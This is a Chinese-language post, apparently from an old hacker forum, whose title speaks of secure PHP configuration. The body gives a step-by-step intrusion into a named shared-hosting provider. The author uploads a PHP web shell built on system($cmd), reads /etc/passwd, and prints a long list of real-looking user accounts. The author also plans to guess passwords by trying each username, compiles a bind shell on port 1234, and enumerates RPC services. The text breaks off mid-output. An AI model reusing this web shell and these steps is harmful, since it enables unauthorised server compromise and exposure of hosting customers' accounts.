構建Linux下的安全 PHP配置漏洞攻擊

這些站點的問題主要出在允許使用system(),exec()等等這些函數,熟悉php的朋友應該知道,這些函數是調用系統指令的(雖然通過web server php程序只能有nobody權限),而且一般用戶只要申請一個空間就可以獲取局部的可寫權限,令用戶可以寫一個web shell程序執行命令.在這些服務器上一般用戶不能夠登陸,也就是nologin(沒有登陸shell,管理員可沒那麼"慷慨"!),這樣利用system(),exec()這些函數就可以bind一個shell出來~!本文以虎翼網(www.51.net)的空間為例子(他是不是所有的服務器都有這個毛病我不知道~我只試驗了我的空間所在的服務器):

1.寫一個webshell先(php很容易做到)

?>php #shell.php3 echo"

"; system("$cmd"); echo" "; ?>

2.上傳到空間

3.執行(具體的服務器馬賽克處理)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下權限到底多大) uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody) root真的很吝啬啊! lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系統) FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20 00:58:09 CST 2001 [email protected]:/usr/src/sys/compile/51NET i386 lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/passwd(shadow是鐵定看不到) root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:107353:51:USER:/home/tty:/local/bin/null kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin bind:*:53:53:Bind Sandbox:/:/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin tian:*:1002:1002::/local/tian:/local/bin/ksh sysadmin:*:1001:1001:Syste Administrator:/local/sysadmin:/local/bin/ksh test2:*:9999:51::/home/test2:/local/bin/null xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null yes2:*:106202:51:USER:/home/yes2:/local/bin/null daboy:*:106203:51:USER:/home/daboy:/local/bin/null yesky:*:106204:51:USER:/home/yesky:/local/bin/null yesk:*:106205:51:USER:/home/yesk:/local/bin/null lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null fog:*:106207:51:USER:/home/fog:/local/bin/null renshou:*:106208:51:USER:/home/renshou:/local/bin/null hilen:*:106209:51:USER:/home/hilen:/local/bin/null hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null larry:*:106213:51:USER:/home/larry:/local/bin/null sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null baobao:*:106217:51:USER:/home/baobao:/local/bin/null chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null model:*:106227:51:USER:/home/model:/local/bin/null leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null ljok:*:106230:51:USER:/home/ljok:/local/bin/null baorui:*:106231:51:USER:/home/baorui:/local/bin/null fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null power:*:106236:51:USER:/home/power:/local/bin/null feefan:*:106237:51:USER:/home/feefan:/local/bin/null paradise:*:106238:51:USER:/home/paradise:/local/bin/null wulc:*:106239:51:USER:/home/wulc:/local/bin/null jcm:*:106240:51:USER:/home/jcm:/local/bin/null liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null jingder:*:106242:51:USER:/home/jingder:/local/bin/null hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null adai:*:106244:51:USER:/home/adai:/local/bin/null fightben:*:106245:51:USER:/home/fightben:/local/bin/null lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null xeno:*:106247:51:USER:/home/xeno:/local/bin/null ..................(太多了~省略)

只有幾個用戶有shell可以登陸,cp到我的目錄下面,等一下分離出usrename看看有沒有人username=passwd的~呵呵~

　　 lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set HOME=/ PS$ OPTIND=1 PS2=> PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin IFS= 好差的"環境",被設置成這樣.... lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts # $reeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $ # Host Database # This file should contain the addresses and aliases # for local hosts that share this file. # In the presence of the domain name service or NIS, this file may # not be consulted at all; see /etc/host.conf for the resolutionorder. #127.0.0.1 localhost localhost.my.domain myname.my.domain # # Imaginary network. #10.0.0.2 myname.my.domain myname #10.0.0.3 myfriend.my.domain myfriend # # According to RFC 1918, you can use the following IP networks for # private nets which will never be connected to the Internet: # # 10.0.0.0 - 10.255.255.255 # 172.16.0.0 - 172.31.255.255 # 192.168.0.0 - 192.168.255.255 # #

不算太小啊~hosts ~

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=whereis -b gcc

(老天保佑~有gcc)

gcc:/usr/sbin/gcc(萬歲!!!!!!!!!!!!)

我來試試看~弄一個大家伙上去,編譯一下,哈哈~速度好快!

webshell太累了,bind一個shell出來方便一點...(上傳binshell程序,自己寫也可以用perl/C,都不太難)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234 bind shell too port 1234 telnet xxx.51.net 1234

.....下面省略,反正就可以執行命令了

嗯~好像這台沒裝MySQL,可惜~呵呵~~~~~~~~~,對了oso.com.cn的好像有~,不過最近停了.....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p localhost portmapper 100000 portmap sunrpc rstatd 100001 rstat rstat_svc rup perfmeter rusersd 100002 rusers nfs 100003 nfsprog ypserv 100004 ypprog mountd 100005 mount showmount ypbind 100007 walld 100008 rwall shutdown yppasswdd 100009 yppasswd etherstatd 100010 etherstat rquotad 100011 rquotaprog quota rquota sprayd 100012 spray 3270_mapper 100013 rje_ma